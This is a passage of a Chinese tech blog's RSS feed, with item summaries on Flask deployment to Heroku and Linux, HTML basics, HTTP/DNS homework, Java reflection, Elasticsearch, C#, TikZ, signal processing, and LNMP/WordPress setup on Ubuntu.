Heroku是最早的服务提供商平台之一。它最初是作为基于Ruby的应用程序的托管选项，但后来发展为支持许多其他语言，例如Java，Node.js，当然还有Python。&#xA;将Web应用部署到Heroku是通过git版本控制工具完成的，因此您必须将应用程序放置在git代码库中。Heroku在应用程序的根目录中查找一个名为Procfile的文件，以获取有关如何启动该应用的说明。对于Python项目，Heroku还希望有一个requirements.txt文件，其中列出了需要安装的所有模块依赖项。通过git将应用程序上传到Heroku的服务器后，您基本上已经完成，只需等待几秒钟，直到应用程序在线即可。真的就是这么简单。&#xA;Heroku提供的不同服务级别，允许您选择为应用程序获得多少计算能力和时间，因此随着用户群的增长，您将需要购买更多的计算单元，Heroku称之为“ dynos”。&#xA;准备尝试Heroku了吗？让我们开始吧！&#xA;创建Heroku帐户 您需要先拥有一个帐户，然后才能部署到Heroku。因此，请访问heroku.com并创建一个免费帐户。拥有帐户并登录到Heroku后，您将可以访问dashboard，其中列出了你的所有应用程序。&#xA;安装Heroku CLI Heroku提供了一个命令行工具，用于与其名为Heroku CLI的服务进行交互，该工具可用于Windows，Mac OS X和Linux。 该文档包括了支持的所有平台的安装说明。 如果你计划部署应用程序以测试该服务，请将其安装在你的系统上。&#xA;一旦安装了CLI，您应该做的第一件事就是登录到您的Heroku帐户：&#xA;$ heroku login Heroku CLI会要求您输入电子邮件地址和帐户密码。你的身份验证状态将在随后的命令中被记住。&#xA;设置Git git工具是Heroku应用程序部署的核心，因此如果你还没有安装它的话，则必须将它安装到你的系统上。 如果你没有可用于你的操作系统的安装包，则可以访问git站点以下载安装程序。&#xA;使用git的原因很多并且都理由充分。 如果你打算部署应用到Heroku，那么这些原因就要又增加一个，因为要部署应用到Heroku，你的应用程序必须在git代码库中。 如果你要为Microblog执行测试部署，可以从GitHub克隆应用程序：&#xA;$ git clone https://github.com/miguelgrinberg/microblog $ cd microblog $ git checkout v0.18 git checkout命令将代码库切换到指定的历史提交点，也就是本章所处的位置。&#xA;如果您喜欢使用自己的代码而不是我的代码，你可以通过在顶层目录中运行git init .来将你自己的项目转换成git代码库（注意init后面的句号，它告诉git你想要在当前目录中初始化代码库）。&#xA;创建一个Heroku应用 要向Heroku注册新应用，请使用应用程序根目录中的命令apps:create，并将应用程序名称作为唯一参数传递：&#xA;$ heroku apps:create flask-microblog Creating flask-microblog.</description>
    </item>
    <item>
      <title>Flask Mega-Tutorial V2.0 第17章：在Linux上部署</title>
      <link>https://bchobby.github.io/posts/e64adfa8ee744556fa0efaea39d0365c/</link>
      <pubDate>Sat, 20 Mar 2021 21:05:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e64adfa8ee744556fa0efaea39d0365c/</guid>
      <description>最近在Flask Web Development作者博客看到第二版Flask Mega-Tutorial已在2017年底更新，现翻译给大家参考，希望帮助大家学习flask。&#xA;这是Flask Mega-Tutorial系列的第十七章，我将把Microblog部署到Linux服务器。&#xA;供您参考，以下是本系列文章的列表。&#xA;第1章：Hello, World！第2章：模板 第3章：Web表单第4章：数据库第5章：用户登录第6章：配置文件页面和头像第7章：错误处理第8章：关注与被关注第9章：分页第10章：电子邮件支持第11章：整容第12章：日期和时间第13章：I18n和L10n第14章：Ajax第15章：大型应用程序结构第16章：全文搜索第17章：在Linux上部署（本文）第18章：在Heroku上部署第19章：Docker容器上的部署第20章：一些JavaScript Magic第21章：用户通知第22章：后台工作第23章：应用程序编程接口（API） 注意1：如果您正在寻找本教程的旧版本，请在此处。&#xA;注意2：如果您想在此博客上支持我的工作，或者只是没有耐心等待每周的文章，我将提供完整的本教程版本，打包成电子书或视频集。欲了解更多信息，请访问courses.miguelgrinberg.com。&#xA;在本章中，我将达到Microblog应用生命中的一个里程碑，因为我将讨论在生产服务器上部署该应用的方式，以便真实用户可以访问该应用。&#xA;部署的主题很广泛，因此不可能在这里涵盖所有范畴。 本章致力于探讨传统托管方式，包括Ubuntu发行版的Linux服务器和流行的树莓派微机。 我将在后面的章节中介绍其他选项，例如云和容器部署。&#xA;本章的GitHub链接是：Browse，Zip，Diff。&#xA;传统托管 当我提到“传统托管”时，我的意思是应用是手动或通过原始服务器机器上的脚本安装部署的。该过程涉及安装应用程序，其依赖项和生产规模的Web服务器，并配置系统以使其安全。&#xA;当您将要部署自己的项目时，您需要问的第一个问题是在哪里可以找到服务器。目前有很多经济托管服务。例如，Digital Ocean，Linode或Amazon Lightsail会以每月5美元的价格租用一台虚拟Linux服务器，在其中运行您的部署实验（Linode和Digital Ocean为其入门级服务器提供1GB RAM，而Amazon仅提供512MB ）。如果您一分钱都不愿意花，那么Vagrant和VirtualBox这两个工具结合在一起，使可以您在自己的计算机上创建类似于付费服务器的虚拟服务器。&#xA;从技术的角度来看，就操作系统的选择而言，此应用程序可以部署在任何主要操作系统上，该列表包括各种各样的开源Linux和BSD发行版以及商业OS X和Microsoft Windows（尽管OS X是基于开源BSD衍生产品Darwin的，它是开源/商业的混合选项）。&#xA;由于OS X和Windows是未优化为用作服务器的桌面操作系统，因此我将其作为候选者丢弃。在Linux或BSD操作系统之间进行选择主要取决于喜好，因此，我将选择两种操作系统中最流行的一种，即Linux。至于Linux发行版，我将再次选择流行度，并选择Ubuntu。&#xA;创建一个Ubuntu服务器 如果您有兴趣与我一起进行此部署，则显然需要一台服务器来进行工作。我将为您推荐两种选择来购买服务器，一种是付费的，另一种是免费的。如果您愿意花一点钱，可以在Digital Ocean，Linode或Amazon Lightsail上获得一个帐户，然后创建一个Ubuntu 16.04虚拟服务器。您应该使用最小的服务器选项，在我撰写本文时，这三个提供商的费用均为每月5美元。开销是按照服务器启动的小时数进行比例计算的，因此，如果您创建服务器，将其使用几个小时然后删除，则只需支付几分钱。&#xA;免费替代方案基于您可以在自己的计算机上运行的虚拟机。要使用此选项，请在计算机上安装Vagrant和VirtualBox，然后创建一个名为Vagrantfile的文件并用以下内容来描述虚拟机的规格：&#xA;Vagrantfile：Vagrant配置。&#xA;Vagrant.configure(&#34;2&#34;) do |config| config.vm.box = &#34;ubuntu/xenial64&#34; config.vm.network &#34;private_network&#34;, ip: &#34;192.168.33.10&#34; config.vm.provider &#34;virtualbox&#34; do |vb| vb.memory = &#34;1024&#34; end end 该文件配置了一个带有1GB RAM的Ubuntu 16.04服务器，你可以用其IP地址192.168.33.10来访问该服务器。 要创建服务器，请运行以下命令：&#xA;$ vagrant up 请查阅Vagrant命令行文档，以了解管理虚拟服务器的其他选项。&#xA;使用SSH客户端 您的服务器处于后端，因此不会像在您自己的计算机上那样拥有桌面。您将通过SSH客户端连接到服务器，并通过命令行对其进行操作。如果您使用的是Linux或Mac OS X，则可能已经安装了OpenSSH。如果您使用的是Microsoft Windows，则Cygwin，Git和 Windows Subsystem for Linux 都提供OpenSSH，因此您可以安装这些选项中的任何一个。</description>
    </item>
    <item>
      <title>HTML</title>
      <link>https://bchobby.github.io/posts/4c4ad5fca2e7a3f74dbb1ced00381aa4/</link>
      <pubDate>Sat, 20 Mar 2021 17:50:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c4ad5fca2e7a3f74dbb1ced00381aa4/</guid>
      <description>自2020.10开始学习前端知识，抽时间整理一下过去笔记，顺便备份方便自己复习。&#xA;学习目录 一、HTML标签基础1.骨架标签2.元素标签分类3.标签关系4.文档类型5.页面语言lang6. 字符集 二、HTML常用标签1、排版标签1）标题标签h2）段落标签p3）水平线标签hr4）换行标签br5）div标签和span标签 2、标签属性3、img标签4、a链接标签5、注释标签 三、路径1.相对路径2.绝对路径 四、表格五、列表标签1.无序列表 ul2.有序列表 ol3.自定义列表 ul 六、表单标签1.input控件2.label标签3. textarea控件(文本域)4. select下拉列表5.form表单域 HTML 指的是超文本标记语言 (Hyper Text Markup Language)是用来描述网页的一种标记语言，而不是编程语言。&#xA;一、HTML标签基础 1.骨架标签 &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 标签名定义说明htmlHTML标签页面中最大的标签，我们成为 根标签head文档的头部注意在head标签中我们必须要设置的标签是titletitle文档的标题让页面拥有一个属于自己的网页标题body文档的主体元素包含文档的所有内容，页面内容 基本都是放到body里面的 2.元素标签分类 1.双标签&#xA;&amp;lt;body&amp;gt;&amp;lt;/body&amp;gt; 2.单标签&#xA;&amp;lt;br/&amp;gt; 区别在于结束标签符号 &#34;/ &#34; 放置的位置不同，单标签的 “/ ” 有时也可以不加。&#xA;3.标签关系 1.嵌套关系&#xA;&amp;lt;ul&amp;gt; &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; 2.并列关系&#xA;&amp;lt;li&amp;gt;&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;&amp;lt;/li&amp;gt; 4.文档类型&amp;lt;!DOCTYPE&amp;gt; 下列代码为vscode按下 “ ！” 快速生成的代码块&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;</description>
    </item>
    <item>
      <title>计算机网络应用层作业</title>
      <link>https://bchobby.github.io/posts/4782de04ed848a0e27ec433072416e4a/</link>
      <pubDate>Sat, 20 Mar 2021 16:21:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4782de04ed848a0e27ec433072416e4a/</guid>
      <description>（12分）假设你在浏览某网页时点击了一个超链接，URL为“https:// www . kicker .com.cn/index.html” ，且该URL对应的IP地址在你的计算机上没有缓存；文件index.html引用了8个小图像。域名解析过程中，无等待的一次DNS解析请求与响应时间记为RTTd，HTTP请求传输Web对象过程的一次往返时间记为RTTh。请回答下列问题：&#xA;1）你的浏览器解析到URL对应的IP地址的最短时间是多少？最长时间是多少？&#xA;2）若浏览器没有配置并行TCP连接，则基于HTTP1.0获取URL链接Web页完整内容（包括引用的图像，下同）需要多长时间（不包括域名解析时间，下同）？ 若浏览器配置5个并行TCP连接，则基于HTTP1.0获取URL链接Web页完整内容需要多长时间？若浏览器没有配置并行TCP连接，则基于非流水模式的HTTP1.1获取URL链接Web页完整内容需要多长时间？基于流水模式的HTTP1.1获取URL链接Web页完整内容需要多长时间？ 答：&#xA;1）浏览器解析到URL对应的IP地址的最短时间是RTTd。最长时间是5RTTd。&#xA;因为www.kicker.com.cn，就要最先去根，然后去cn，再是到cn-com，最后去kicker，4个RTTd，再加上访问本地的1个RTTd，所以有5个RTTd。&#xA;2）需要18RTTh。&#xA;因为HTTP1.0是非持久性链接的，每个TCP连接最多允许1个对象传输，所以一共建立9次TCP连接，耗时2*9=18RTTh。&#xA;3）需要6RTTh。&#xA;因为HTTP1.0是非持久性链接的，每个TCP连接最多允许1个对象传输，但浏览器配置5个并行TCP连接，一开始建立TCP连接，获得index.html文件2个RTTh。然后由图像地址信息，在2轮并行处理下完成8个图像的加载工作。2*2个RTTh。2+ 4 = 6 RTTh。所以耗时6RTTh。&#xA;4）①需要10RTTh,②需要3RTTh.&#xA;​基于非流水模式的HTTP1.1获取URL链接Web页完整内容需要10RTTh。基于流水模式的HTTP1.1获取URL链接Web页完整内容需要3RTTh。&#xA;因为非流水模式的HTTP1.1即无流水的持久性连接，客户端只有收到前一个响应后才发送新请求，所以耗时2+8=10RTTh。基于流水模式的HTTP1.1是客户端只要遇到一个引用对象就尽快发出请求，所以耗时2+1=3RTTh。&#xA;细节在此博客</description>
    </item>
    <item>
      <title>Java反射技术--获取私有属性和方法</title>
      <link>https://bchobby.github.io/posts/8e6a918bc4f15f2d3e8923082356405a/</link>
      <pubDate>Sat, 20 Mar 2021 14:57:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e6a918bc4f15f2d3e8923082356405a/</guid>
      <description>1、首先，创建一个类，部分属性和方法设置为private。&#xA;package com.example.demo.utils; /** * @Author HL * @Date 2021年3月20日 */ public class Person { private String id = &#34;10&#34;; private String name = &#34;张三&#34;; private String getId() { return id; } private String getName() { return name; } public String getInfo() { return id + &#34;, &#34; + name; } } 2、再创建一个类，利用Java反射机制调用私有属性和方法。&#xA;package com.example.demo.utils; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; /** * 测试Java反射技术 * @Author HL * @Date 2021年3月20日 */ public class ReflectTest { public static void main(String[] args) { reflectMethod(); } /** * 反射方法获取私有属性及方法 * * @Author HL * @Date 2021年3月20日 */ public static void reflectMethod() { try { // 获得Person类 Class c1 = Person.</description>
    </item>
    <item>
      <title>Flask Mega-Tutorial V2.0 第16章：全文搜索</title>
      <link>https://bchobby.github.io/posts/cfac9a4418d889ce0b0f3f369f91e833/</link>
      <pubDate>Sat, 20 Mar 2021 14:38:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfac9a4418d889ce0b0f3f369f91e833/</guid>
      <description>最近在Flask Web Development作者博客看到第二版Flask Mega-Tutorial已在2017年底更新，现翻译给大家参考，希望帮助大家学习flask。&#xA;这是Flask Mega-Tutorial系列的第十六章，其中我将为Microblog添加全文搜索功能。&#xA;供您参考，以下是本系列文章的列表。&#xA;第1章：Hello, World！第2章：模板 第3章：Web表单第4章：数据库第5章：用户登录第6章：配置文件页面和头像第7章：错误处理第8章：关注与被关注第9章：分页第10章：电子邮件支持第11章：整容第12章：日期和时间第13章：I18n和L10n第14章：Ajax第15章：大型应用程序结构第16章：全文搜索（本文）第17章：在Linux上部署第18章：在Heroku上部署第19章：Docker容器上的部署第20章：一些JavaScript Magic第21章：用户通知第22章：后台工作第23章：应用程序编程接口（API） 注意1：如果您正在寻找本教程的旧版本，请在此处。&#xA;注意2：如果您想在此博客上支持我的工作，或者只是没有耐心等待每周的文章，我将提供完整的本教程版本，打包成电子书或视频集。欲了解更多信息，请访问courses.miguelgrinberg.com。&#xA;本章的目的是为Microblog实现搜索功能，以便用户可以使用自然语言找到有趣的帖子。对于许多类型的网站，可以让Google，Bing等搜索引擎将所有内容编入索引，并通过其搜索API提供搜索结果。这对于大多数页面都是静态的网站（例如论坛）非常有效。但是在我的应用中，基本内容单位是用户帖子，这是整个网页的一小部分。我想要的搜索结果类型是针对这些单个博客帖子，而不是整个页面。例如，如果我搜索单词“ dog”，那么我想查看来自包含该单词的所有用户的博客文章。显然，该页面显示了所有带有“dog”一词的博客帖子。&#xA;本章的GitHub链接是：Browse，Zip，Diff。&#xA;全文搜索引擎简介 对全文搜索的支持没有像关系数据库那样标准化。有几个开源的全文本引擎：Elasticsearch，Apache Solr，Whoosh，Xapian，Sphinx等。似乎这还不够，有几个数据库还提供了与专用搜索引擎类似的搜索功能，例如我上面列举的那些。SQLite，MySQL和PostgreSQL都提供了一些搜索文本的支持，而MongoDB和CouchDB等NoSQL数据库也支持。&#xA;如果您想知道其中哪些可以在Flask应用中运行，答案就是所有这些！那是Flask的强项之一，，它在完成工作的同时不会自作主张。那么最好的选择是什么？&#xA;在专用搜索引擎列表中，Elasticsearch在我眼中相当受欢迎，部分原因是它在ELK栈中是用于索引日志的“E”，另两个是Logstash和Kibana。 使用某个关系数据库的搜索能力也是一个不错的选择，但是鉴于SQLAlchemy不支持此功能，我将不得不使用原始SQL语句来处理搜索，否则必须找到一个提供以下功能的包： 它提供一个文本搜索的高级接口，并与SQLAlchemy共存。&#xA;基于以上分析，我将使用Elasticsearch，但我将以一种非常容易切换到另一个搜索引擎的方式来实现所有文本索引和搜索功能。 你可以用其他搜索引擎的替换我的实现，只需在单个模块中重写一些函数即可。&#xA;安装Elasticsearch 有多种安装Elasticsearch的方法，包括一键式安装程序，包含您自己需要安装的二进制文件的zip文件，甚至是Docker镜像。该文档有一个“安装”页面，其中包含所有这些选项的详细信息。如果您使用的是Linux，则可能会有一个可用于您的发行版的软件包。如果您使用Mac并安装了Homebrew，则只需运行brew install elasticsearch即可。&#xA;在计算机上安装Elasticsearch之后，您可以在浏览器的地址栏通过输入http://localhost:9200来验证它是否正在运行，预期的返回结果是JSON格式的服务基本信息。。&#xA;由于我将通过Python管理Elasticsearch，因此我还将使用Python客户端库：&#xA;(venv) $ pip install elasticsearch 您可能还需要更新您的requirements.txt文件：&#xA;(venv) $ pip freeze &amp;gt; requirements.txt Elasticsearch教程 首先，我将从Python shell向您展示使用Elasticsearch的基础知识。这将帮助您熟悉此服务，以便您可以理解我稍后将讨论的实现部分。&#xA;要创建与Elasticsearch的连接，请创建class的实例Elasticsearch，并将连接URL作为参数传递：&#xA;&amp;gt;&amp;gt;&amp;gt; from elasticsearch import Elasticsearch &amp;gt;&amp;gt;&amp;gt; es = Elasticsearch(&#39;http://localhost:9200&#39;) Elasticsearch中的数据被写入索引。与关系数据库不同，数据只是一个JSON对象。以下示例将一个包含text字段的对象写入名为my_index的索引：&#xA;&amp;gt;&amp;gt;&amp;gt; es.index(index=&#39;my_index&#39;, id=1, body={&#39;text&#39;: &#39;this is a test&#39;}) 如果需要，索引可以存储不同类型的文档，在本处，可以根据不同的格式将doc_type参数设置为不同的值。 我要将所有文档存储为相同的格式，因此我将文档类型设置为索引名称。&#xA;对于存储的每个文档，Elasticsearch使用了一个唯一的ID来索引含有数据的JSON对象。&#xA;让我们在该索引上存储第二个文档：</description>
    </item>
    <item>
      <title>C#02 （字符串  数组 ）</title>
      <link>https://bchobby.github.io/posts/6905434ef96b343ed6d10fda5b8c5faf/</link>
      <pubDate>Sat, 20 Mar 2021 13:54:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6905434ef96b343ed6d10fda5b8c5faf/</guid>
      <description>C#02 （字符串 数组 ） 字符串 C#语言的字符串是由一个或多个Unicode字符构成的一组字符序列。&#xA;用string类型&#xA;string类型的常量:用双引号引起来&#xA;例如：&#xA;string str1 = &#34;ABCD&#34;; string str2 = str1; int i = 3； string str3 = str1 + str2; string str4 = str1 + i; [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NOmKRmgc-1616219678517)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20210320103212977.png)]&#xA;注意：string是Unicode字符串，计算字符串长度时，每个英文字母的长度为1，每个汉字的长度也是1。&#xA;string str1 = &#34;123张三&#34;; Console.WriteLine(str1.Length);//结果是:5 Console.ReadLine(); 字符串查找&#xA;方法1：用string[index]得到字符串中第index个位置的单个字符。&#xA;方法2：用Contains方法查找一个字符串中是否包含指定的子字符串方法3：用StartsWith方法和EndsWith方法，从字符串的首或尾开始查找指定的子字符串，并返回布尔值（true或false）&#xA;获取字符串中的单个字符或者子字符串&#xA;1.可直接用中括号指明字符在字符串中的序号&#xA;string str1 = &#34;abcd&#34;; char mychar = str1[2];//从0开始所以2就是字符串的第三位 Console.WriteLine(mychar);//结果为c 2.Substring方法：得到从某个位置开始的子字符串。&#xA;string s1 = &#34;abc123&#34;; string s2 = s1.Substring(2);//从第二截取 string s3 = s1.Substring(2, 3);//从第二个数总共三个字符 Console.</description>
    </item>
    <item>
      <title>Tex表格里插入Tikz绘制的图形</title>
      <link>https://bchobby.github.io/posts/a409401f14f72fb0ae4f69a35c767fb5/</link>
      <pubDate>Sat, 20 Mar 2021 10:34:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a409401f14f72fb0ae4f69a35c767fb5/</guid>
      <description>直接把\begin{tikzpicture} ，这部分内容放在表格里就好了。&#xA;如下图，把原点放入第三格中。&#xA;Tikz图形代码：&#xA;\begin{tikzpicture}[scale=1.2] \fill[brown] (1ex,0ex) circle (1.2ex); \end{tikzpicture} 表格代码：&#xA;\begin{table} \centering \begin{tabular}{m{1.2cm}m{1.2cm}m{7cm}} \multirow{3}{*}{{\large \textbf{AAA}}} &amp;amp; \textbf{一} &amp;amp; \begin{tikzpicture}[scale=1.2] \fill[brown] (1ex,0ex) circle (1.2ex); \end{tikzpicture} \\ &amp;amp; \textbf{二} &amp;amp; \begin{tikzpicture}[scale=1.2] \fill[brown] (1ex,0ex) circle (1.2ex); \end{tikzpicture} \\ &amp;amp; \textbf{三} &amp;amp; \begin{tikzpicture}[scale=1.2] \fill[brown] (1ex,0ex) circle (1.2ex); \end{tikzpicture} \end{tabular} \end{table} 效果</description>
    </item>
    <item>
      <title>信号与系统、数字信号处理——复试常见问题</title>
      <link>https://bchobby.github.io/posts/890ae57c6701fdc5fd9833f79d925f6e/</link>
      <pubDate>Fri, 19 Mar 2021 20:38:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/890ae57c6701fdc5fd9833f79d925f6e/</guid>
      <description>数字信号处理的课程脉络：围绕数字系统的分析和设计展开，分析了数字系统的响应、IIR和FIR滤波器的设计。&#xA;从分析方法的角度来看，可以分为时域分析和变换域分析。时域分析主要是用线性卷积来求解系统的零状态响应；变换域主要用z变换求响应，用零极点图、收敛域等工具判断系统的特性。用傅里叶变换分析系统滤波特性、用DFT分析有限长序列、为了减小DFT的运算量提出FFT。&#xA;信号在时域和频域的对偶关系：连续——非周期、离散——周期。&#xA;信号与系统Q&amp;amp;A 为什么要引入拉普拉斯变换？&#xA;拉式变换的引入是因为指数增长信号的傅里叶级数不存在。由于指数增长信号不收敛，我们把它和收敛因子ⅇ^(−σt) 相乘，用s控制衰减。这使得拉式变换相较于傅式变换研究信号范围变大了。&#xA;时域 卷积convolution&#xA;什么是卷积？&#xA;卷积的本质就是加权求和，它可以联系时域和频域。&#xA;引入卷积运算有什么意义？&#xA;在对系统进行分析时，系统的传递函数和输入信号进行卷积就得到了输出信号。而我们知道卷积的本质是加权求和，那么输出信号实际上就是把输入信号进入系统后不同时间点的响应进行叠加。&#xA;卷积的应用？&#xA;1.应用于图像处理；2.卷积定理可以简化运算，比如FFT的使用。&#xA;卷积和如何计算？&#xA;对位相乘相加法。卷积后序列的长度：N+M-1&#xA;序列的周期性：2π/ω是有理数时，正弦序列Asin(ωn+φ)是周期序列。&#xA;变换域（z变换） 关于ROC：圆内/圆环/圆外。对于有限长序列一般是全域，严格来讲要讨论0点和无穷远点。ROC内一定不包含极点。&#xA;因果性：先有输入后有输出；LSI系统因果的充要条件是h(n)是因果序列；收敛域在圆外。&#xA;稳定性：有界输入有界输出；LSI系统稳定的充要条件是h(n)绝对可和；收敛域包含单位圆。&#xA;为什么幅频特性能用来判断滤波器类型？&#xA;傅里叶变换以2π为周期。那么中间（π）就是变化最快的点，即高频；两端（0和2π）是变化最慢的点，即低频。所以只需要画出0到π上的幅频特性图，就足以看出系统的滤波类型。&#xA;关于DTFT DTFT即对序列做傅里叶变换。&#xA;DTFT是其原连续时间信号的傅里叶变换的周期延拓。&#xA;DTFT是序列在单位圆上的z变换。&#xA;关于DFT 为什么要引入DFT呢？&#xA;在进行了DTFT后人们发现，离散时间的傅里叶变换仍然是连续谱。为了在频域得到离散信号以便于计算机分析，人们对DTFT进行采样，得到了DFT。&#xA;DTFT和DFT的关系：离散傅里叶变换DFT是离散时间傅里叶变换DTFT在(0,2π)上的N点等间隔采样。&#xA;DFT和DFS的关系：DFT是DFS的主值序列；DFS是DFT以N为周期的周期延拓序列。&#xA;DFT和z变换的关系：DFT是z变换在单位圆上的N点等间隔采样。&#xA;DFT是有限长序列的傅里叶变换。&#xA;DFT的圆周移位性质：如果序列x(n)发生m点圆周移位，移位后序列的DFT是原序列的DFT乘 W N − m k W_{N}^{-m k} WN−mk​&#xA;DFT的误差：&#xA;混叠失真：采样频率不够，导致不满足采样定理，出现混叠。解决方法：抽样之前先将信号通过一个低通滤波器，滤除高频部分。频谱泄露：由于加窗函数造成很多旁瓣的产生，从而产生谱间干扰。解决方法：选择合适的（缓变型的）窗函数、或者加大窗的宽度。栅栏效应：对频谱进行采样时，只能看到各采样点上的频谱，而可能会有重要的峰值没有被采到，就像是隔着栅栏一样。解决方法：增加抽样点数、或尾部补零以增加数据长度。 DFT 的性质：线性、圆周移位、圆周卷积、共轭对称&#xA;什么是圆周卷积？&#xA;圆周卷积相当于周期延拓后的序列做周期卷积后再取主值区间。&#xA;什么是周期卷积？&#xA;周期卷积就是两个周期序列的卷积，具体计算和线性卷积相同。&#xA;在什么条件下圆周卷积的结果和线性卷积相同？&#xA;设两序列的长度为M、N，在序列后补零到L=M+N-1，进行L点圆周卷积，结果就与线性卷积相同。&#xA;or to say, 圆周卷积的长度≥线性卷积的长度时，圆周卷积即和线性卷积相同。&#xA;关于FFT FFT的算法原理：①基于时间：按序列在时间上的次序是奇数还是偶数分解为两个更短的子序列。&#xA;04261537&#xA;按时间抽选的基-2FFT算法流图特点：①输入是码位序倒置排列、输出是自然顺序；②基本计算单元是蝶形计算&#xA;FFT的运算量：&#xA;IIR滤波器与FIR滤波器设计 IIR与FIR的区别：&#xA;IIR是无限长单位冲激响应，有极点，有递归结构；&#xA;FIR是有限长单位冲激响应，没有极点，一般没有递归结构，除非采用零极点相互抵消的方式。&#xA;模拟信号数字化的过程：1.通过滤波器滤除高频部分；2.A/D转换；3.数字信号处理；4.D/A转换；5.通过滤波器平滑信号&#xA;窗函数法设计FIR滤波器：要求窗函数频谱的主瓣尽可能高、窄，旁瓣尽可能短小，但这两个要求不能同时满足，因为主瓣升高旁瓣也会升高，因此只能折中。</description>
    </item>
    <item>
      <title>ubuntu18搭建详细的php环境,Ubuntu18.04搭建PHP的LNMP开发环境</title>
      <link>https://bchobby.github.io/posts/608323fe2fa54aba3db6213a8744803e/</link>
      <pubDate>Fri, 19 Mar 2021 19:14:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/608323fe2fa54aba3db6213a8744803e/</guid>
      <description>1、安装nginx&#xA;sudo apt-get install nginx&#xA;nginx的默认网站目录是/var/www/html/&#xA;默认的nginx网站配置文件为/etc/nginx/sites-available/default 【可以删除，或者改端口，以免占用80端口】&#xA;日志文件在/var/log/nginx/ access.log error.log 一般500服务器问题都可以查看该文件&#xA;启用nginx服务器 sudo service nginx start || sudo systemctl start nginx&#xA;使用netstat -anp则可以看到80端口已经处于LISTEN状态了。&#xA;直接查看80端口可以使用命令:sudo lsof -i:80&#xA;查看进程 ps aux | grep nginx&#xA;打开浏览器输入虚拟机IP，出现 Nginx 的欢迎界面，就代表 Nginx 安装成功了。&#xA;配置Nginx查看：配置Nginx点这儿&#xA;2、安装 MySql&#xA;sudo apt-get install mysql-server mysql-client&#xA;安装完毕后，输入命令打开数据库，然后会让输入密码 直接回车就行&#xA;mysql -u root -p&#xA;use mysql;&#xA;# 修改root可以直接登录&#xA;update mysql.user set authentication_string=PASSWORD(&#39;新密码&#39;),plugin=&#39;mysql_native_password&#39; where user=&#39;root&#39; and Host = &#39;localhost&#39;;&#xA;#输入命令，刷新 MySQL 系统权限设置</description>
    </item>
    <item>
      <title>ubuntu18搭建详细的php环境,在Ubuntu 18.04系统下搭建WordPress全过程</title>
      <link>https://bchobby.github.io/posts/2ef72edae08d8db5835108f881caf7d7/</link>
      <pubDate>Fri, 19 Mar 2021 19:14:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ef72edae08d8db5835108f881caf7d7/</guid>
      <description>在Ubuntu 18.04操作系统下搭建WordPress 4.9.4版本的全过程。过程大致为：安装Apache2、安装PHP及相关组件、安装MySQL、建立Apache与MySQL的连接、最后安装WordPress、配置WordPress数据库及环境。&#xA;1.安装Apache2&#xA;sudo apt-get install apache2 -y&#xA;安装Apache包，-y参数为默认确定安装。&#xA;在终端输入：&#xA;ifconfig -a&#xA;用来查看本机地址：&#xA;如果提示如下，那么你需要安装一个ent-tools，然后再执行ifconfig -a：&#xA;在浏览器中输入服务器地址可以看见默认页面：&#xA;2.资源更新&#xA;在Ubuntu 18.04系统终端中输入：&#xA;sudo apt-get update&#xA;进行资源更新：&#xA;输入：&#xA;sudo apt-get upgrade -y&#xA;进行包更新：&#xA;安装PHP及相关组件(如果需要多个PHP共存请看在Ubuntu中实现多个PHP版本共存一文)：&#xA;sudo apt-get install software-properties-common&#xA;sudo add-apt-repository ppa:ondrej/php&#xA;sudo apt update&#xA;sudo apt install php7.1-fpm php7.1-mcrypt php7.1-cli php7.1-xml php7.1-mysql php7.1-gd php7.1-imagick php7.1-recode php7.1-tidy php7.1-xmlrpc&#xA;sudo apt-get install libapache2-mod-php7.1&#xA;执行完上面的命令然后执行php -v，如果出现下面的提示，那么就证明安装成功：&#xA;3.安装MySQL&#xA;在Ubuntu 18.04系统终端中输入：&#xA;sudo apt-get --purge remove mysql-server mysql-common mysql-client</description>
    </item>
    <item>
      <title>数据仓库相关概念</title>
      <link>https://bchobby.github.io/posts/da86c42b091f2ce80c8447eae52258c7/</link>
      <pubDate>Fri, 19 Mar 2021 18:59:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da86c42b091f2ce80c8447eae52258c7/</guid>
